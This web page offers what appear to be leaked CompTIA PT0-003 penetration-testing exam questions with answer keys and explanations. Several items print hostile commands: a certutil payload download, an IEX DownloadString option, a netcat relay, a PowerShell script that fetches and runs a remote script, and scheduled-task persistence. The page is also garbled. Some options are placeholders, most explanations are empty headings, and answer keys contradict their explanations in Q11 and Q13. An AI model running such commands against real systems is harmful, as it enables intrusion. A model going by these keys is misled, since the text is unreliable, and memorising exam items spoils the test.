Top Quality CompTIA PT0-003 Dumps Questions Online

NEW QUESTION 1
HOTSPOT
A penetration tester is performing reconnaissance for a web application assessment. Upon investigation, the tester reviews the robots.txt file for items of interest.
INSTRUCTIONS
Select the tool the penetration tester should use for further investigation.
Select the two entries in the robots.txt file that the penetration tester should recommend for removal.

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 2
A penetration tester wants to check the security awareness of specific workers in the company with targeted attacks. Which of the following attacks should the penetration tester perform?

• A. Phishing
• B. Tailgating
• C. Whaling
• D. Spear phishing

Answer: D

Explanation:
Spear phishing is a targeted email attack aimed at specific individuals within an organization. Unlike general phishing, spear phishing is personalized and often involves extensive reconnaissance to increase the likelihood of success.
✑ Understanding Spear Phishing:
✑ Purpose:
✑ Process:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
=================

NEW QUESTION 3
During a security assessment, a penetration tester needs to exploit a vulnerability in a wireless network's authentication mechanism to gain unauthorized access to the network. Which of the following attacks would the tester most likely perform to gain access?

• A. KARMA attack
• B. Beacon flooding
• C. MAC address spoofing
• D. Eavesdropping

Answer: A

Explanation:
To exploit a vulnerability in a wireless network's authentication mechanism and gain unauthorized access, the penetration tester would most likely perform a KARMA attack.
✑ KARMA Attack:
✑ Purpose:
✑ Other Options:
Pentest References:
✑ Wireless Security Assessments: Understanding common attack techniques such as KARMA is crucial for identifying and exploiting vulnerabilities in wireless networks.
✑ Rogue Access Points: Setting up rogue APs to capture credentials or perform man-in-the-middle attacks is a common tactic in wireless penetration testing.
By performing a KARMA attack, the penetration tester can exploit the wireless network's authentication mechanism and gain unauthorized access to the network.
=================

NEW QUESTION 4
A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?

• A. powershell.exe impo C:\tools\foo.ps1
• B. certutil.exe -f https://192.168.0.1/foo.exe bad.exe
• C. powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/")
• D. rundll32.exe c:\path\foo.dll,functName

Answer: B

Explanation:
To execute a payload and gain additional access, the penetration tester
should use certutil.exe. Here??s why:
✑ Using certutil.exe:
✑ Comparison with Other Commands:
Using certutil.exe to download and execute a payload is a common and effective method.
=================

NEW QUESTION 5
Which of the following components should a penetration tester include in an assessment report?

• A. User activities
• B. Customer remediation plan
• C. Key management
• D. Attack narrative

Answer: D

Explanation:
An attack narrative provides a detailed account of the steps taken during the penetration test, including the methods used, vulnerabilities exploited, and the outcomes of each attack. This helps stakeholders understand the context and implications of the findings.
✑ Components of an Assessment Report:
✑ Importance of Attack Narrative:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
=================

NEW QUESTION 6
SIMULATION
A penetration tester performs several Nmap scans against the web application for a client. INSTRUCTIONS
Click on the WAF and servers to review the results of the Nmap scans. Then click on each tab to select the appropriate vulnerability and remediation options.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 7
A penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester's machine. Which of the following commands should the tester use to do this task from the tester's host?

• A. attacker_host$ nmap -sT <target_cidr> | nc -n <compromised_host> 22
• B. attacker_host$ mknod backpipe p attacker_host$ nc -l -p 8000 | 0<backpipe | nc<target_cidr> 80 | tee backpipe
• C. attacker_host$ nc -nlp 8000 | nc -n <target_cidr> attacker_host$ nmap -sT 127.0.0.1 8000
• D. attacker_host$ proxychains nmap -sT <target_cidr>

Answer: D

Explanation:
ProxyChains is a tool that allows you to route your traffic through a chain of proxy servers, which can be used to anonymize your network activity. In this context, it is being used to route Nmap scan traffic through the compromised host, allowing the penetration tester to pivot and enumerate other targets within the network.
✑ Understanding ProxyChains:
✑ Command Breakdown:
✑ Setting Up ProxyChains: Step-by-Step Explanationplaintext Copy code
socks4 127.0.0.1 1080
✑ Execution:
proxychains nmap -sT <target_cidr>
✑ References from Pentesting Literature: References:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
=================

NEW QUESTION 8
DRAG DROP
During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.
INSTRUCTIONS
Analyze the code segments to determine which sections are needed to complete a port scanning script.
Drag the appropriate elements into the correct locations to complete the script.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 9
DRAG DROP
You are a penetration tester reviewing a client??s website through a web browser.
INSTRUCTIONS
Review all components of the website through the browser to determine if vulnerabilities are present.
Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 10
Which of the following describes the process of determining why a vulnerability scanner is not providing results?

• A. Root cause analysis
• B. Secure distribution
• C. Peer review
• D. Goal reprioritization

Answer: A

Explanation:
Root cause analysis involves identifying the underlying reasons why a problem is occurring. In the context of a vulnerability scanner not providing results, performing a root cause analysis would help determine why the scanner is failing to deliver the expected output. Here??s why option A is correct:
✑ Root Cause Analysis: This is a systematic process used to identify the fundamental reasons for a problem. It involves investigating various potential causes and pinpointing the exact issue that is preventing the vulnerability scanner from working correctly.
✑ Secure Distribution: This refers to the secure delivery and distribution of software or updates, which is not relevant to troubleshooting a vulnerability scanner.
✑ Peer Review: This involves evaluating work by others in the same field to ensure quality and accuracy, but it is not directly related to identifying why a tool is malfunctioning.
✑ Goal Reprioritization: This involves changing the priorities of goals within a project, which does not address the technical issue of the scanner not working.
References from Pentest:
✑ Horizontall HTB: Demonstrates the process of troubleshooting and identifying issues with tools and their configurations to ensure they work correctly.
✑ Writeup HTB: Emphasizes the importance of thorough analysis to understand why certain security tools may fail during an assessment.
=================

NEW QUESTION 11
A tester is performing an external phishing assessment on the top executives at a company. Two-factor authentication is enabled on the executives?? accounts that are in the scope of work. Which of the following should the tester do to get access to these accounts?

• A. Configure an external domain using a typosquatting techniqu
• B. Configure Evilginx to bypass two-factor authentication using a phishlet that simulates the mail portal for the company.
• C. Configure Gophish to use an external domai
• D. Clone the email portal web page from the company and get the two-factor authentication code using a brute-force attack method.
• E. Configure an external domain using a typosquatting techniqu
• F. Configure SET to bypass two-factor authentication using a phishlet that mimics the mail portal for the company.
• G. Configure Gophish to use an external domai
• H. Clone the email portal web page from the company and get the two-factor authentication code using a vishing method.

Answer: A

Explanation:
To bypass two-factor authentication (2FA) and gain access to the executives?? accounts, the tester should use Evilginx with a typosquatting domain. Evilginx is a man-in-the-middle attack framework used to bypass 2FA by capturing session tokens.
✑ Phishing with Evilginx:
✑ Typosquatting:
✑ Steps:
Pentest References:
✑ Phishing: Social engineering technique to deceive users into providing sensitive information.
✑ Two-Factor Authentication Bypass: Advanced phishing attacks like those using Evilginx can capture and reuse session tokens, bypassing 2FA mechanisms.
✑ OSINT and Reconnaissance: Identifying key targets (executives) and crafting convincing phishing emails based on gathered information.
Using Evilginx with a typosquatting domain allows the tester to bypass 2FA and gain access to high-value accounts, demonstrating the effectiveness of advanced phishing techniques.
=================

NEW QUESTION 12
A penetration tester assesses a complex web application and wants to explore potential security weaknesses by searching for subdomains that might have existed in the past. Which of the following tools should the penetration tester use?

• A. Censys.io
• B. Shodan
• C. Wayback Machine
• D. SpiderFoot

Answer: C

Explanation:
The Wayback Machine is an online tool that archives web pages over time, allowing users
to see how a website looked at various points in its history. This can be extremely useful for penetration testers looking to explore potential security weaknesses by searching for subdomains that might have existed in the past.
✑ Accessing the Wayback Machine:
✑ Navigating Archived Pages:
✑ Identifying Subdomains:
✑ Tool Integration:
✑ Real-World Example:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ HTB Official Writeups
=================

NEW QUESTION 13
A tester completed a report for a new client. Prior to sharing the report with the client, which of the following should the tester request to complete a review?

• A. A generative AI assistant
• B. The customer's designated contact
• C. A cybersecurity industry peer
• D. A team member

Answer: B

Explanation:
Before sharing a report with a client, it is crucial to have it reviewed to ensure accuracy, clarity, and completeness. The best choice for this review is a team member. Here??s why:
✑ Internal Peer Review:
✑ Alternative Review Options:
In summary, an internal team member is the most suitable choice for a thorough and contextually accurate review before sharing the report with the client.
=================

NEW QUESTION 14
Which of the following is most important when communicating the need for vulnerability remediation to a client at the conclusion of a penetration test?

• A. Articulation of cause
• B. Articulation of impact
• C. Articulation of escalation
• D. Articulation of alignment

Answer: B

Explanation:
When concluding a penetration test, effectively communicating the need for vulnerability remediation is crucial. Here??s why the articulation of impact is the most important aspect:
✑ Articulation of Cause (Option A):
✑ Articulation of Impact (Option B):
✑ Articulation of Escalation (Option C):
✑ Articulation of Alignment (Option D):
Conclusion: Articulating the impact of vulnerabilities is the most crucial element when communicating the need for remediation. By clearly explaining the potential risks and consequences, penetration testers can effectively convey the urgency and importance of addressing the discovered issues, thus motivating clients to take prompt and appropriate action.

NEW QUESTION 15
A penetration tester needs to launch an Nmap scan to find the state of the port for both TCP and UDP services. Which of the following commands should the tester use?

• A. nmap -sU -sW -p 1-65535 example.com
• B. nmap -sU -sY -p 1-65535 example.com
• C. nmap -sU -sT -p 1-65535 example.com
• D. nmap -sU -sN -p 1-65535 example.com

Answer: C

Explanation:
✑ Comparison with Other Options:
=================

NEW QUESTION 16
A penetration tester attempts to run an automated web application scanner against a target URL. The tester validates that the web page is accessible from a different device. The tester analyzes the following HTTP request header logging output:
200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0 200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0 No response; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: curl
200; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
No response; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: python
Which of the following actions should the tester take to get the scans to work properly?

• A. Modify the scanner to slow down the scan.
• B. Change the source IP with a VPN.
• C. Modify the scanner to only use HTTP GET requests.
• D. Modify the scanner user agent.

Answer: D

NEW QUESTION 17
Given the following script:
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1] If ($1 -eq "administrator") {
echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell - noprofile -}
Which of the following is the penetration tester most likely trying to do?

• A. Change the system's wallpaper based on the current user's preferences.
• B. Capture the administrator's password and transmit it to a remote server.
• C. Conditionally stage and execute a remote script.
• D. Log the internet browsing history for a systems administrator.

Answer: C

Explanation:
✑ Script Breakdown:
✑ Purpose:
✑ Why This is the Best Choice:
✑ References from Pentesting Literature: References:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
=================

NEW QUESTION 18
During a vulnerability assessment, a penetration tester configures the scanner sensor and performs the initial vulnerability scanning under the client's internal network. The tester later discusses the results with the client, but the client does not accept the results. The client indicates the host and assets that were within scope are not included in the vulnerability scan results. Which of the following should the tester have done?

• A. Rechecked the scanner configuration.
• B. Performed a discovery scan.
• C. Used a different scan engine.
• D. Configured all the TCP ports on the scan.

Answer: B

Explanation:
When the client indicates that the scope's hosts and assets are not included in the vulnerability scan results, it suggests that the tester may have missed discovering all the devices in the scope. Here??s the best course of action:
✑ Performing a Discovery Scan:
✑ Comparison with Other Actions:
Performing a discovery scan ensures that all in-scope devices are identified and included in the vulnerability assessment, making it the best course of action.
=================

NEW QUESTION 19
After a recent penetration test was conducted by the company's penetration testing team, a systems administrator notices the following in the logs:
2/10/2023 05:50AM C:\users\mgranite\schtasks /query
2/10/2023 05:53AM C:\users\mgranite\schtasks /CREATE /SC DAILY
Which of the following best explains the team's objective?

• A. To enumerate current users
• B. To determine the users' permissions
• C. To view scheduled processes
• D. To create persistence in the network

Answer: D

Explanation:
The logs indicate that the penetration testing team??s objective was to create persistence in the network.
✑ Log Analysis:
✑ Persistence:
✑ Other Options:
Pentest References:
✑ Post-Exploitation: Establishing persistence is a key objective after gaining initial access to ensure continued access.
✑ Scheduled Tasks: Utilizing Windows Task Scheduler to run scripts or programs automatically at specified times as a method for maintaining access.
By creating scheduled tasks, the penetration testing team aims to establish persistence, ensuring they can retain access to the system over time.
=================

NEW QUESTION 20
A penetration tester wants to use multiple TTPs to assess the reactions (alerted, blocked, and others) by the client??s current security tools. The threat-modeling team indicates the TTPs in the list might affect their internal systems and servers. Which of the following actions would the tester most likely take?

• A. Use a BAS tool to test multiple TTPs based on the input from the threat-modeling team.
• B. Perform an internal vulnerability assessment with credentials to review the internal attack surface.
• C. Use a generic vulnerability scanner to test the TTPs and review the results with the threat-modeling team.
• D. Perform a full internal penetration test to review all the possible exploits that could affect the systems.

Answer: A

Explanation:
BAS (Breach and Attack Simulation) tools are specifically designed to emulate multiple TTPs (Tactics, Techniques, and Procedures) used by adversaries. These tools can simulate various attack vectors in a controlled manner to test the effectiveness of an organization's security defenses and response mechanisms. Here??s why option A is the best choice:
✑ Controlled Testing Environment: BAS tools provide a controlled environment
where multiple TTPs can be tested without causing unintended damage to the internal systems and servers. This is critical when the threat-modeling team indicates potential impacts on internal systems.
✑ Comprehensive Coverage: BAS tools are designed to cover a wide range of TTPs,
allowing the penetration tester to simulate various attack scenarios. This helps in assessing the reactions (alerted, blocked, and others) by the client's security tools comprehensively.
✑ Feedback and Reporting: These tools provide detailed feedback and reporting on
the effectiveness of the security measures in place, including which TTPs were detected, blocked, or went unnoticed. This information is invaluable for the threat- modeling team to understand the current security posture and areas for improvement.
References from Pentest:
✑ Anubis HTB: This write-up highlights the importance of using controlled tools and methods for testing security mechanisms. BAS tools align with this approach by
providing a controlled and systematic way to assess security defenses.
✑ Forge HTB: Emphasizes the use of various testing tools and techniques to simulate real-world attacks and measure the effectiveness of security controls. BAS tools are mentioned as a method to ensure comprehensive coverage and minimal risk to internal systems.
Conclusion:
Using a BAS tool to test multiple TTPs allows for a thorough and controlled assessment of the client's security tools' effectiveness. This approach ensures that the testing is systematic, comprehensive, and minimally disruptive, making it the best choice.
=================

NEW QUESTION 21
......